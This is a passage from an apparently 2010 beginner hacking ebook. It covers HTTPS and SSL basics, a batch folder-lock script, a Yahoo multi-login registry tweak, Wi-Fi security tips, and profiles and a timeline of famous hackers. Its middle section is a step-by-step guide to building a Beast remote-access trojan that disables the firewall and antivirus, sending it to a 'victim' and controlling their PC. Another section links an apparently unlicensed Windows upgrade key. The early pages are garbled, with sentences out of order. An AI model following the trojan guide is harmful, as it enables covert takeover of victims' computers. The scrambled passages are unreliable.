HTTPS is used for a SECURE communication. Yahoo etc. he can see the PASSWORDS since they remain unencrypted. the message is sent in an encrypted format.hackingtech. In this case. the message is sent as a plain text in an unencrypted manner. we may wonder what's the difference between http and https. This is acceptable in normal situations where the messages exchanged are not confidential. Working of HTTP When A sends a message to B. So even if the Hacker gains an unauthorized access to the ongoing communication between A and B he gets only the encrypted password ("xz54p6kd") and not the original password.tv Page 216 . When we see this. Most of us are familiar with many sites such as Gmail. This has a serious security problem because. using https protocol in their login pages. What exactly is Secure Communication? Suppose there exists two communication parties A (client) and B (server). This is shown below. Now lets see the working of HTTPS When A sends a PASSWORD (say "mypass") to B. if an intruder (hacker) can gain unauthorized access to the ongoing communication between A and B. In simple words HTTP protocol is used for standard communication between the Web server and the client. www. But imagine a situation where A sends a PASSWORD to B. This scenario is illustrated using the following figure. the password is also sent as a plain text. What is Secure Sockets Layers (SSL)? Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web client and the web server. The encrypted message is decrypted on B's side.co.Hacking For Beginners – Manthan Desai 2010 43.
the authenticated organization name is prominently displayed and the address bar turns GREEN when an Extended Validation SSL Certificate is detected. the server sends a Public key to the browser to perform the encryption. the browser displays an error message or warning and the status bar may turn RED. A secure communication is a must in these situations.hackingtech. So the bottom line is. the browser encrypts the message using the public key and sends it to the server. The public key is made available to every one but the private key (used for decryption) is kept secret. The public key is used to encrypt the information and the private key is used to decrypt it. A website can implement HTTPS by purchasing an SSL Certificate. You can click the lock to view the identity of the website.tv Page 217 . you will see a lock icon in the Security Status bar. If the information does not match or the certificate has expired. The Security Status bar is located on the right side of the Address bar. In high-security browsers. SSL uses public-key encryption to exchange a session key between the client and server. How secure is the encryption used by SSL? It would take significantly longer than the age of the universe to crack a 128-bit key.co. Each transaction uses a different session key so that even if www.Hacking For Beginners – Manthan Desai 2010 How is HTTPS implemented? HTTPS is implemented using Secure Sockets Layer (SSL). The message is decrypted on the server side using the Private Key (Secret key). whenever you perform an on-line transaction such as Credit card payment. authenticated information about the certificate owner. When your browser connects to a secure domain. A Certificate Authority verifies the identity of the certificate owner when it is issued. It has the following uses 1. An SSL Certificate enables encryption of sensitive information during online transactions. this session key is used to encrypt the http transaction (both request and response). 3. Each SSL Certificate contains unique. Otherwise there are chances of Phishing using a Fake login Page. So during a secure communication. Secure Sockets Layer (SSL) technology protects a Web site and makes it easy for the Web site visitors to trust it. Bank login or Email login always ensure that you have a secure communication. 2. How Encryption Works? Each SSL Certificate consists of a Public key and a Private Key. How to identify a Secure Connection? In Internet Explorer.
Again. which is in itself extremely difficult.... using a 128-bit key eliminates any problem at all because there are 2^128 instead of 2^40 possible keys. It would be significantly easier to tap your phone.7 million = 1 billion (1. you'd be completed your transaction and long gone before the hacker even got started. million!). it would take significantly longer than the age of the universe to crack a 128-bit key. 2^40 is already a HUGE number. Remember that 128-bit is not just 'three times' as powerful as 40-bit encryption.tv Page 218 . doubled over and over on itself another 88 times.. that would not mean that they would have found the server's secret key. they would have first have to have figured out some method of intercepting the transaction data in the first place. Of course.' with 128 two's..741.... This was in fact demonstrated when a French researcher used a network of fast workstations to crack a 40-bit encrypted message in a little over a week. They feel that using a 40-bit key is insecure because it's vulnerable to a "brute force" attack (basically trying each of the 2^40 possible keys until you find the one that decrypts the message). even this 'vulnerability' is not really applicable to applications like an online credit card transaction. 2^128 is 'two times two. they'd need to spend as much time and effort on the second transaction as they did on the first. Many people have heard that 40-bit is insecure and that you need 128-bit to keep your credit card info safe. since the transaction is completed in a few moments. 2x2x2x2x2x2x2x2x2x2.hackingtech. Of course. doubled on itself 128 times. times two. Of course. Therefore 2^128 is that number (a trillion). about a trillion (that's a million.co. that is to say '2 to the 40th power' or '2 to the 128th power'. 2x2x2x2x2x2x2x2x2x2... Using the same method (a networked of fast workstations) to crack a message encrypted with such a key would take significantly longer than the age of the universe using conventional technology. 2x2x2x2x2x2x2x2x2x2. Key Size 2-bit 3-bit 4-bit 5-bit 6-bit 7-bit 8-bit 9-bit 10-bit 11-bit 12-bit 16-bit 24-bit 30-bit 2^2 2^3 2^4 2^5 2^6 2^7 2^8 2^9 2^10 2^11 2^12 2^16 2^24 2^30 2x2 2x2x2 2x2x2x2 2x2x2x2x2 2x2x2x2x2x2 2x2x2x2x2x2x2 2x2x2x2x2x2x2x2 2x2x2x2x2x2x2x2x2 2x2x2x2x2x2x2x2x2x2 2x2x2x2x2x2x2x2x2x2.073. 2x2x2x2x2x2x2x2x2x2. or to intercept your mail to acquire your credit card number than to somehow intercept and decode Internet Data.800) Possible Key Combinations www. if they wanted to decrypt another transaction.Hacking For Beginners – Manthan Desai 2010 someone did manage to decrypt a transaction. That is two... Servers and browsers do encryption ranging from a 40-bit secret key to a 128-bit secret key. =4 =8 = 16 = 32 = 64 = 128 = 256 = 512 = 1024 = 2048 = 4096 = 65536 = 16. If a network of fast computers takes a week to crack a 40-bit key. times two.
and Canada. You can also usually view the Certificate to see information about the various parties. In Netscape versions 3. and.hackingtech.000. The most common warning is that you have not previously chosen to Trust the authority.4 million years) to even break '56-bit medium' encryption and significantly longer than the age of the universe to crack a 128-bit key. your data is still encrypted and still secure. and a broken key means no encryption.000 (give or take a couple trillion.000. and 130-bit would take twice as long again.Hacking For Beginners – Manthan Desai 40-bit 56-bit 2^40 2^56 2x2x2x2x2x2x2x2x2x2. Simply put.. it would then still take about 6 thousand.000) = 339.097.000.000. you may also see information about our Certificate when you enter the secure directories. you can see that using the same method that was used to break 40-bit encryption in a week. 128-bit encryption is totally secure.. As you can see. if so. Even if your browser supports 128-bit encryption..000.) 128-bit 2^128 Doing the math. The little key in the lower left-hand corner of the Netscape window also indicates this information. open the document information page using File->Properties. In Microsoft Internet Explorer. Depending on how your security settings are setup in your Browser. largely depending on the way you've got your security settings set in your Browser.tv Page 219 . This will indicate whether "weak" or "strong" encryption is in use. www.000. 2 multiplied by 2 128 times over. including Inet2000 and our CA. which is about a million times longer than the Earth has been around. Of course the argument is that computers will keep getting faster.000) 2010 = 72 thousand quadrillion (71. what level of encryption is in use..again.728.000. it may use 40-bit encryption when talking to other servers or to servers outside the U. That is true.000. This information will usually include the Dates that the Certificate is valid for. Either way. click on the "Security" button to determine whether the current page is encrypted. about doubling in power every 18 months. the encryption level and the security is the same whether you've got your settings low (don't warn me about anything) or very high (warn and inform me about everything).. simply upgrading to 129-bit encryption would take twice as long. trillion years.000.. warnings or information screens at all . a solid padlock will appear on the bottom right of the screen when encryption is in use.000. 2x2x2x2x2x2x2x2x2x2.000. How do I know if encryption is enabled or not? Your Browser (Netscape or Internet Explorer) will tell you. it's far easier for the encryption to keep well ahead of the technology in this case. Plus.X and earlier you can tell what kind of encryption is in use for a particular document by looking at the "document" information" screen accessible from the file menu.X and higher.co. This is a normal warning if you haven't already purchased anything online from a Merchant who's certificate was issued by a Certificate Authority that you haven't told your browser to trust from now on. a solid key with two teeth means 40-bit encryption. Of course.892. What about warnings or errors about the Secure Certificate? Your personal Security settings will determine what warnings you see.000. but even when computers are a million times faster than they are now (about 20 years from now if they double in speed every year).000. In Netscape versions 4. you may well have no errors. = 1 trillion (1.000. and the Certificate Authority (or 'CA') that issued the Certificate. A solid key with three teeth means 128-bit encryption. To determine whether 40-bit or 128-bit encryption is in effect.S. the site name that the Certificate has been issued to. it would take about 72 million weeks (about 1. In any case..
exe Step 2:.hackingtech.Open the Notepad.co.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.hackingtech.hackingtech.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo ----------------------------------------------------------echo ================== Www.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Private goto MDENTER PASSWORD TO OPEN :CONFIRM echo ----------------------------------------------------------echo ================== Www.co.tv ================== echo ----------------------------------------------------------echo Enter password to unlock folder set/p "pass=>" if NOT %pass%== YOUR PASSWORD goto FAIL attrib -h -s "Control Panel. goto CONFIRM :LOCK ren Private "Control Panel.tv Page 220 .{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private echo Folder Unlocked successfully goto End :FAIL echo Invalid password www.Copy the following code into the notepad. Make a Private Folder with your password Step 1:. Quote: cls @ECHO OFF title Folder Private if EXIST "Control Panel.co.tv ================== echo ----------------------------------------------------------echo Are you sure you want to lock the folder(Y/N) echo Press (Y) for Yes and Press (N) for No. echo ----------------------------------------------------------set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.Hacking For Beginners – Manthan Desai 2010 44.
Now change the password in the if NOT %pass%==YOUR PASSWORDgoto FAIL line replace text of Your Password with your password for the folder lock.bat file Enter your password and your files are there for you.hackingtech. Step 4:.exe file to safeguard the code above.Now to again open the secured files open the locker.Now again open the Locker.bat file and enter your password to open a private folder of yours.Now copy paste the files which you want to hide and make it secure in the private folder. Step 7:.bat and you are done.Now Open the Locker. Step 6:.co." www. "You can use Bat to exe converter and can convert it into .Hacking For Beginners – Manthan Desai goto end :MDENTER PASSWORD TO OPEN md Private echo Private created successfully goto End :End 2010 Step 3:.bat file and press 'Y' to lock the private folder with your password.Now save this file as locker.tv Page 221 . Step 8:. Step 5:.
Step 3:.tv/Trojans/Beast.06 "Download Beast 2.Hacking For Beginners – Manthan Desai 2010 45.06 from here: http://www.hackingtech. Making a Trojan using Beast 2. Beast 2.hackingtech. Step 4:.Unrar the pack.Open the software you will get the screen as shown below.Download the necessary software i.06 Step 1:. www. Step 2:.e.Now click on "Build server "button.rar".co.tv Page 222 .co.
Step 7:. 2010 Step 6:.Hacking For Beginners – Manthan Desai Step 5:. www.Now go to "AV-FW kill" tab.tv Page 223 .In the notifications tab click on the e-mail button.Now In this window fill your proper and valid email id.Now in this window click on the notifications tab.co.hackingtech. Step 8:.
tv Page 224 .hackingtech. www. Step 10:-Now click on "EXE icon" tab.Now In this put a tick mark on the "disable XP firewall ".Hacking For Beginners – Manthan Desai 2010 Step 9: . Step 11:.In this tab select any icon for the file from the list or you can browse the icon from the directory and can use it.co.
This Email consists of the IP address and port of the victim. Step 14:.hackingtech.As and when the victim will install the Trojan on his system you will get a notification e-mail on your specified email id while making the Trojan.Hacking For Beginners – Manthan Desai 2010 Step 12:-Now click on the"Save Server" button and the Trojan will be made. Step 13:-Now send this Trojan File to victim. Step 15:-Put This IP address and Port in the place shown in the below snap-shot.co.tv Page 225 . www.
2010 Step 17:.Hacking For Beginners – Manthan Desai Step 16:. www.After That Click on the "Go Beast" Button and You will be connected to victims PC. Step 18:.Now select the action or task you want to execute on victims PC form the given list.hackingtech.tv Page 226 .co.Now to destroy or kill the Trojan click on the "server "tab from the menu.
" Read more:http://www.co.co.tv Page 227 . 2010 Step 20:.Hacking For Beginners – Manthan Desai Step 19:-Now click on the "Kill Server "button and the Trojan will be destroyed from the victims PC.hackingtech.hackingtech.tv/index/making_of_trojan_using_beast_2_06/077#ixzz152xyeVCC www. "Do Not Harm or destroy any ones PC this tutorial is for educational Purpose.You are Done Now.
Hacking yahoo messenger for multi login We often chat on yahoo messenger.Then Look For. just use the small registry registration file below that once click. I don't think so that there is anyone who really doesn't know about yahoo messenger.Then change this value of plural to like this. will modify and merge the registry setting required to run and execute multiple Yahoo! Messengers at the same time on a computer.hackingtech. So if you need to open and login multiple Yahoo! Messenger accounts as you have a few Yahoo! ID or various other reason.HKEY_CURRENT_ USER\Software\yahoo\ pager\Test."plural"=dword: 00000001 "For beginners I will recommend the first method just download and install the script.co. Step2:. Manual Step1:." www.rar ".exe) Click Start > Run and then type 'regedit' press enter.Hacking For Beginners – Manthan Desai 2010 46.tv/YahooMulti. People who do know registry they can try to manually do this hack. 2.tv Page 228 . hope you are agree with this comment? But what most people don't know is that we can chat with multiple accounts on yahoo messenger at same time. Automatic Method You just need to Download the file and install it into registry "Download The File From here: http://www.hackingtech.co. There are two Methods of doing this 1. In other words we can chat with different Ids at same time. Step3:.Open Registry Editor (regedit.
Hacking For Beginners – Manthan Desai
47. 5 Tips to secure your Wi-Fi a connection
1. Install a Firewall A firewall helps protect your PC by preventing unauthorized users from gaining access to your computer through the Internet or a network. It acts as a barrier that checks any information coming from the Internet or a network, and then either blocks the information or allows it to pass through to your computer. 2. Change the Administrative Password on your Wireless Routers Each manufacturer ships their wireless routers with a default password for easy initial access. These passwords are easy to find on vendor support sites, and should therefore be changed immediately. 3. Change the Default SSID Name and Turn off SSID Broadcasting This will require your wireless client computers to manually enter the name of your SSID (Service Set Identifier) before they can connect to your network, greatly minimizing the damage from the casual user whose laptop is configured to connect to any available SSID broadcast it finds. You should also change the SSID name from the factory default, since these are just as well-known as the default passwords 4. Disable DHCP for a SOHO network with only a few computers consider disabling DHCP (Dynamic Host Configuration Protocol) on your router and assigning IP addresses to your client computers manually. On newer wireless routers, you can even restrict access to the router to specific MAC addresses. 5. Replace WEP with WPA WEP (Wired Equivalent Privacy) is a security protocol that was designed to provide a wireless computer network with a level of security and privacy comparable to what is usually expected of a wired computer network. WEP is a very weak form of security that uses common 60 or 108 bit key shared among all of the devices on the network to encrypt the wireless data. Hackers can access tools freely available on the Internet that can crack a WEP key in as little as 15 minutes. Once the WEP key is cracked, the network traffic instantly turns into clear text – making it easy for the hacker to treat the network like any open network. WPA (Wi-Fi Protected Access) is a powerful, standards-based, interoperable security technology for wireless computer networks. It provides strong data protection by using 128-bit encryption keys and dynamic session keys to ensure a wireless computer network's privacy and security. Many cryptographers are confident that WPA addresses all the known attacks on WEP. It also adds strong user authentication, which was absent in WEP.
Page 229
Hacking For Beginners – Manthan Desai
48. Upgrade Windows 7 to any higher version
How to Upgrade Windows 7 to Any Higher Version for Free
You bought a new computer with a pre-installed Starter/Home Premium/Professional (Genuine) version of Windows 7 and want to upgrade to Professional or Ultimate for free in as few as 10 minutes . Your pre-installed version of Windows 7 actually includes all files that are necessary to perform an in-place (local) upgrade without downloading anything from the internet. One simply needs unlocking features included in higher versions. You can upgrade Windows 7 from/to:
Here's what you need to do: To upgrade from one edition of Windows 7 to another edition of Windows 7, use Windows Anytime Upgrade. On your PC, open Windows Anytime Upgrade by clicking the Start button, typing Windows Anytime Upgrade in the search box, and then clicking Windows Anytime Upgrade in the list of results. You will be presented with a screen offering 2 options, one of them suggesting you have a valid Windows Anytime Upgrade key. Once the key has been copied into the appropriate field, it will be verified by MS and the upgrade process will take place. The whole process actually doesn't last longer than 10 minutes, your computer will reboot once or twice. Upon restart, you will notice it now runs a genuine higher version of Windows 7. * You can use Windows Anytime Upgrade to upgrade from a 32-bit version of Windows 7 to a 32-bit version of Windows 7 and from a 64-bit version of Windows 7 to a 64-bit version of Windows 7, but you can't upgrade from a 32-bit version of Windows 7 to a 64-bit version of Windows 7 or vice versa. * Windows Anytime Upgrade isn't available in all editions of Windows 7 - obviously not in Ultimate version.
"Download Windows Anytime Upgrade key from here: http://u.to/MSek
Page 230
Hacking For Beginners – Manthan Desai
49. World's top 10 internet hackers of all time
What can hackers do to our PC? Are they really can break our security? The portrayal of hackers in the media has ranged from the high-tech super-spy, as in Mission Impossible where Ethan Hunt repels from the ceiling to hack the CIA computer system and steal the "NOC list," to the lonely anti-social teen who is simply looking for entertainment.
Black Hat Hackers A black hat hacker, also known as a cracker or a dark side hacker (this last definition is a direct reference to the Star Wars movies and the dark side of the force), is someone who uses his skills with a criminal intent. Some examples are: cracking bank accounts in order to make transferences to their own accounts, stealing information to be sold in the black market, or attacking the computer network of an organization for money.
1) Jonathan James
James cracked into NASA computers, stealing software worth approximately $1.7 million. According to the Department of Justice, "The software supported the International Space Station's physical environment, including control of the temperature and humidity within the living space." NASA was forced to shut down its computer systems, ultimately racking up a $41,000 cost. James explained that he downloaded the code to supplement his studies on C programming, but contended," The code itself was crappy . . . certainly not worth $1.7 million like they claimed."
Page 231
Hacking For Beginners – Manthan Desai
2) Adrian Lamo
Adrian Lamo around computers as a very young child. He had a Commodore 64 when he was like 6 or so. And his first interest in seeing how things worked behind the scenes wasn't all about technology necessarily, and his interest in what you might call hacking isn't really primarily about technology…He said" It's not sexy when I'm exploring less obvious aspects of the world that don't involve multibillion-dollar corporations. There's a certain amount of tunnel vision there." Last year, Lamo earned the disapproval of his probation officer in the closing months of his two year probation term when he refused to provide a blood sample for the FBI's DNA database. The Combined DNA Index System, or CODIS, was created to catalog violent criminals and sexual predators, but the 2004 Justice for All Act expanded the system to include samples from all newly convicted federal felons, including drug offenders and white-collar criminals.
3) Kevin Mitnick
Kevin David Mitnick (born August 6, 1963) is a computer security consultant and author. In the late 20th century, he was convicted of various computer- and communications-related crimes. At the time of his arrest, he was world-famous as the most-wanted computer criminal in the United States.Mitnick gained unauthorized access to his first computer network in 1979, at 16, when a friend gave him the phone number for the Ark, the computer system Digital Equipment Corporation (DEC) used for developing their RSTS/E operating system software. He broke into DEC's computer network and copied DEC's software, a crime he was charged with and convicted of in 1988. He was sentenced to 12 months in prison followed by three years of supervised release. Near the end of his supervised release, Mitnick hacked into Pacific Bell voice mail computers. After a warrant was issued for his arrest, Mitnick fled, becoming a fugitive for two and a half years. According to the U.S. Department of Justice, Mitnick gained unauthorized access to dozens of computer networks while he was a fugitive. He used cloned cellular phones to hide his location and, among other things, copied valuable proprietary software from some of the country's largest cellular telephone and computer companies. Mitnick also intercepted and stole computer passwords, altered computer networks, and broke into and read private e-mail. Mitnick was apprehended in February 1995 in North Carolina. He was found with cloned cellular phones, more than 100 clone cellular phone codes, and multiple pieces of false identification.
Page 232
Hacking For Beginners – Manthan Desai
4) Kevin Poulsen
Kevin Poulsen was among the most accomplished, multi-talented hackers. He worked for SRI International by day, and hacked at night under the handle "Dark Dante". He trained to be the complete hacker, and even taught himself lock picking. Among other things, Poulsen reactivated old Yellow Page escort telephone numbers for an acquaintance that then ran a virtual agency. When the FBI started pursuing Poulsen, he went underground as a fugitive. When he was featured on NBC's Unsolved Mysteries, the show's 1-800 telephone lines mysteriously crashed. He was finally arrested in February, 1995. Poulsen's best known hack was a takeover of all of the telephone lines for Los Angeles radio station KIIS-FM, guaranteeing that he would be the 102nd caller, and winning a Porsche 944 S2. In June 1994, Poulsen pleaded guilty to seven counts of mail, wire and computer fraud, money laundering, and obstruction of justice, and was sentenced to 51 months in prison and ordered to pay $56,000 in restitution. It was the longest sentence ever given for hacking up to that time. He also later pleaded guilty to breaking into computers and obtaining information on undercover businesses run by the FBI.
5) Robert Tappan Morris
Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, the first computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted under the 1986 Computer Fraud and Abuse Act. Morris wrote the code for the worm while he was a student at Cornell. He asserts that he intended to use it to see how large the Internet was. The worm, however, replicated itself excessively, slowing computers down so that they were no longer usable. It is not possible to know exactly how many computers were affected, but experts estimate an impact of 6,000 machines. He was sentenced to three years' probation, 400 hours of community service and a fined $10,500.
Page 233
also known as ethical hackers.co. which expected him as inventors. and other testing methodologies. These security experts may utilize a variety of methods to carry out their tests." www. the system that we use to access sites. Tom Swift was on the other hand for it the product of creative liberty. and attempts to evade security to gain entry into secured areas. Such people are employed by companies where these professionals are sometimes called "sneakers. White Hat Hackers – White hat hackers. Berners-Lee recounts how he put them together: "I just had to take the hypertext idea and connect it to the TCP and DNS ideas and "ta-da!" the World Wide Web. Steve Wozniak got the first inspirations by its father Jerry. or white knights." Groups of these people are often called tiger teams or red teams. . Berners-Lee created a hypertext prototype system that helped researchers share and update information easily. most notably the Millennium Technology Prize. Until today Wozniak returns to the world from Tom Swift and reads out the books to its own children. a European nuclear research organization. including social engineering tactics.tv Page 234 . While working with CERN. and by the fiktionalen miracle boy Tom Swift.Hacking For Beginners – Manthan Desai 2010 Now we have. He has received numerous recognitions. to ensure that a company's information systems are secure. which worked as an engineer at Lockheed. Its father stuck on it with the fascination for electronics and examined frequently the inventions of its son. who specialize in penetration testing. documents and files on the Internet. 2) Tim Berners-Lee Berners-Lee is famed as the inventor of the World Wide Web. Tom Swift showed it also the large prices. use of hacking tools. He later realized that hypertext could be joined with the Internet. are computer security experts. recalled the days when a young hacker could twiddle the phone system and make a free phone call to the pope without fear that a goofy prank would turn into an international incident. 1) Stephen Wazniak Stephen Wazniak.hackingtech. in order to inspire it. scientific knowledge and the ability to find problem solutions. one of the founders of Apple Computer and a long-time hacker hero.
is distributed freely with no patent or royalties due. he wrote the kernel — original code — for a new system for his x86 PC that was later dubbed Linux (pronounced linn-ucks).tv Page 235 . Digital Restrictions Management) through organizations like Free Software Foundation and League for Programming Freedom. he launched the GNU Project to create a free Unix-like operating system.*1+ is an American software freedom activist. The W3C describes itself as "an international consortium where Member organizations. He works against movements like Digital Rights Management (or as he prefers. fellowships and four honorary doctorates. Starting with the basics of a UNIX system.co. a full-time staff and the public work together to develop Web standards. In September 1983. and has been the project's lead architect and organizer. including awards. as well as standards from the W3C. often abbreviated "rms". 1953). He has received extensive recognition for his work. Torvalds revealed the original source code for free — making him a folk hero among programmers — and users around the world began making additions and now continue to tweak it. With the launch of the GNU Project. Berners-Lee founded the World Wide Web Consortium at MIT. he initiated the free software movement and. set up the Free Software Foundation. 3) Linus Torvalds In 1991 Linus Torvalds was a college student at the University of Helsinki." 4) Richard Stallman Richard Matthew Stallman (born March 16. Stallman's life continues to revolve around the promotion of free software. Torvalds serves as the Linux ringleader." Berners-Lee's World Wide Web idea. He has had an asteroid named after him and received honorary doctorates from Stockholm University and University of Helsinki. Currently. coordinating the code that volunteer programmers contribute to the kernel. Linux is considered the leader in the practice of allowing users to re-program their own operating systems.hackingtech. in October 1985. www. and computer programmer. He was also featured in Time Magazine's "60 Years of Heroes.Hacking For Beginners – Manthan Desai 2010 Since his creation of the World Wide Web.
Shimomura's work to catch Mitnick is commendable. he rallied a team and got to work finding Mitnick.hackingtech. www. pulls it out of the shrinkwrap." Shimomura out-hacked Mitnick to bring him down.tv Page 236 . Using Mitnick's cell phone. "SDSC Computer Experts Help FBI Capture Computer Terrorist" recounts how Shimomura pinpointed Mitnick's location. fingerhacks it. Author Bruce Sterling recalls: "He pulls out this AT&T cellphone. listening to him. but he is not without his own dark side. Following the pursuit. which was later turned into a movie. Shimomura wrote a book about the incident with journalist John Markoff. Shortly after finding out about the intrusion. and starts monitoring phone calls going up and down Capitol Hill while an FBI agent is standing at his shoulder. Shimomura "used a cellular frequency direction-finding antenna hooked up to a laptop to narrow the search to an apartment complex. he made it his cause to help the FBI capture him.co. they tracked him near Raleigh-Durham International Airport.Hacking For Beginners – Manthan Desai 5) Tsutomu Shimomura 2010 Shimomura reached fame in an unfortunate manner: he was hacked by Kevin Mitnick. Following this personal attack. The article." Mitnick was arrested shortly thereafter. Armed with a technician from the phone company.
permitting machines from different manufacturers to exchange data. ASCII consists of 128 unique strings of ones and zeros. [1963] Dartmouth College.S. [1964] Thomas Kurtz and John Kemeny created BASIC (Beginner's All-Purpose Symbolic Instruction Code). [1969] The first computer hackers emerge at MIT. who won a ARPA contract to design and build a network of Interface Message Processors (IMPS) the year prior.200 computer systems in the United States. was a mathematics student at USF in the late 1960s when he discovered that he could whistle into a pay telephone the precise pitch --the 2600. tracks.co. A complete hacker history will never be obtainable since so much of the history is fragmented. The first four nodes (networks) consisted of the. A few of the members transfer their curiosity and rigging skills to the new mainframe computing systems being studied and developed on campus. Bolt Beranek and Newman.. This system would evolve to be known as the Internet or the Information Super Highway.tolearn programming language. They borrow their name from a term to describe members of a model train group at the school who "hack" the electric trains. ships (Sept) the first unit to UCLA and ships (Oct) the second unit to Stanford Research Institute. A Cambridge. [1964] There are approximately 18. computer experts to form a network of Interface Message Processors (IMPS). unfounded and unreported. an easy. Ritchie and others start working on the UNIX operating system at Bell Labs (later AT&T).hackingtech.cycle note.000 computer systems are in use in the United States.that would trip phone circuits and allow him to make long-distance calls at no cost. New Hampshire. Later the network expands to four nodes. [1967] The Advanced Research Projects Agency (ARPA) work with U. a service designed to provide efficient ways to communicate for scientists. University of California Santa Barbara. Thompson . for their students at Dartmouth College. UNIX was designed with the goal of allowing several users to access the computer simultaneously. Massachusetts consulting firm. 1960s [1960 Nov] Telephone calls are switched for the first time by computer. The computers would act as gateways to mainframes at a variety of institutions in the United States and provide a major part of what would become the Internet in the years ahead. and switches to make them perform faster and differently.This will not be a complete list but a work in progress. who is blind. Dennis M.Hacking For Beginners – Manthan Desai 2010 50. 1970s [1970] An estimated 100. University of Utah and the Stanford Research Institute. [1969] Joe Engressia ('The Whistler'. It boasts of a 1KB capacity. University of California Los Angeles. Joe. [1969] Ken L. The complete History of hacking Maybe not the complete history but a valid attempt. incorporates the introduction to the use of computers as a regular part of the Liberal Arts program.tv Page 237 . [1969] The Advanced Research Projects Agency (ARPA) originates ARPANET . [1963] ASCII (American Standard Code for Information Interchange) is created. close to a high A. the machine at UCLA and Stanford link up for the first time and ARPANET is founded. Within a few days of delivery. 'Joybubbles' and 'High Rise Joe') considered the father of phreaking. IMPS act as gateways to mainframes at a variety of institutions in the United States. located in Hanover. www. Over 70% of those computers were manufactured by International Business Machines (IBM). [1969] Intel makes the announcement of a much larger RAM chip.
[1972 May] John Draper arrested for phone phreaking and sentenced to four months in California's Lompoc prison. Ritchie is published. Some of the best computer hackers in the world cut their teeth on -11's.95 and includes one game and two controllers. publicly reveals the prophecy that the number of transistors on a microchip will double every year and a half. [1971] John Draper ('Cap'n Crunch') learns that a toy whistle given away inside Cap'n Crunch cereal generates a 2600hertz signal. [1979] The C Programming Language by Brian W. allows phreakers to make free calls. Draper builds a blue box that. and many of the machines are still used today. 1980s [1980] There is an estimated 350. and wire fraud in the United States escalates. [1977 Aug 3] The TRS.80 ('Trash. [1971] Esquire magazine publishes Secrets of the Little Blue Box with instructions for making a blue box. III (Bill Gates) and Paul Allen found Microsoft . [1976] David R. Steven Paul Jobs and Ron Wayne sign an agreement that founds Apple Computer on April 1. who launch a home industry making and selling blue boxes . [1975] Atari. Kernighan and Dennis M.hackingtech.co. [1975] About 13. [1979 Jun] The Apple II+ with 48K RAM and a new "auto. [1978] Kevin David Mitnick ('Condor') meets phone phreak Lewis De Payne ('Roscoe') of Roscoe gang while harassing a HAM radio operator on the air in Southern California. [1976 Apr] Stephen Wozniak. [1977 Dec] The Atari 2600 is selling for $199.Hacking For Beginners – Manthan Desai 2010 [1970] Digital Equipment Corporation (DEC) introduces the famous PDP.start" ROM is introduced by Apple Computer for $1.tv Page 238 .195. [1973] Intel ' s chairman. [1971] First e-mail program written by Ray Tomlinson and used on ARPANET which now has 64 nodes. when used in conjunction with the whistle and sounded into a phone receiver. Metcalfe invent Ethernet at Xerox in Palo Alto. Among the perpetrators: college kids Steve Wozniak and Steve Jobs. the Kenback . [1980] Nintendo.80') Model I offered to the public and becomes the first desktop computer. the same high-pitched tone that accesses AT&T's long-distance switching system.11.000 cash dispensing Automatic Teller Machines (ATM) are installed. Ltd. www. [1975 Aug] William Henry Gates. contracted by the Advanced Research Projects Agency (ARPA) to create the ARPANET . Inc. releases Donkey Kong as a coin-operated arcade game. Moore 's Law will hold true for more than twenty years. [1978] Bill Joy produces first Berkeley Software Distribution (BSD) of UNIX. [1978] There are an estimated 5.000 computer terminals "networked" with larger "host" computers.000 desktop computers in use within the United States. Tomlinson of Bolt Beranek and Newman. which is considered to be one of the best designed minicomputers ever. selects the @ symbol to separate user names in e-mail as the first e-mail messages are sent between computers. future founders of Apple Computer. 's home version of PONG begins selling at 900 Sears and Roebuck stores under the Sears ' Telegames brand. Boggs and Robert M. [1971] The first personal computer. is advertised in the September issue of Scientific American. California. Gordon Moore.
'414 Private' BBS was where the '414 Gang' would exchange information while breaking into systems of Sloan. [1982] William Gibson coins term "cyberspace. He will be prosecuted as a juvenile and sentenced to probation.S. including Kevin Mitnick . Usenet eventually overruns ARPANET as the virtual bulletin board of choice for the emerging hacker nation. [1982] Lewis De Payne ('Roscoe') pleas guilty to conspiracy and fraud. CPU. [1982] Kevin Mitnick cracks Pacific Telephone system and TRW. [1981 May 23] Kevin Mitnick. [1982] As hacker culture begins to erode. [1981] Kenji Urada.line smiley. plus a year probation. becomes the first reported death caused by a robot. www. Fahlman typed the first on.tv Page 239 . losing some of its brightest minds to commercial PC and software start-ups.hackingtech. Also. there are an estimated number of 5 million desktop computers in use within the United States. that he calls GNU (for Gnu's Not Unix). Plovernet attracted five hundred eager users in 1983.Kettering Cancer Center and Los Alamos military computers. Richard Stallman starts to develop a free clone of UNIX. It features a 6502 microprocessor. [1982] There are an estimated 3 million computer terminals "networked" with larger "host" computers. [1983] Plovernet BBS (Bulletin Board System) was a powerful East Coast pirate board that operated in both New York and Florida. Vinod Khosla. for just under $300. A self-propelled robotic cart crushed him as he was trying to repair it in a Japanese factory. Matthew Broderick plays a computer whiz kid who inadvertently initiates the countdown to World War III.co." [1982] '414 Gang' phreakers raided. Screen columns are limited to 22 characters. With an suggested retail price of $595.20 home computer. is arrested for stealing computer manuals from Pacific Bell's switching center in Los Angeles. graphics and sound chips. invade computer system at US Leasing. :-) [1983] The Internet is formed when ARPANET is split into military and civilian sections. It included a keyboard. [1982 Aug] Commodore ships the Commodore 64 computer and enters more than one million homes during this first year. 37. [1982] Sun Microsystems . 17. Mitnick gets ninety day diagnostic study by juvenile justice system. People were getting late-night discount rates when they called at midday. networking UNIX machines over slow phone lines. [1981 Jul] Microsoft acquires complete rights to Seattle Computer Product ' s DOS and names itMS-DOS. [1980 Dec] Roscoe Gang. The product is manufactured in West Germany and sells in the U. Andreas von Bechtolsheim. it was considered a huge value. Murphy broke intoAT&T's computers and changed the internal clocks that metered billing rates. Sentence: 150 days in jail. is founded by four 27-year-old men. California. [1982 Sep 19] Scott E. Accomplice gets thirty. More than 100 companies make personal computers. Owned and operated 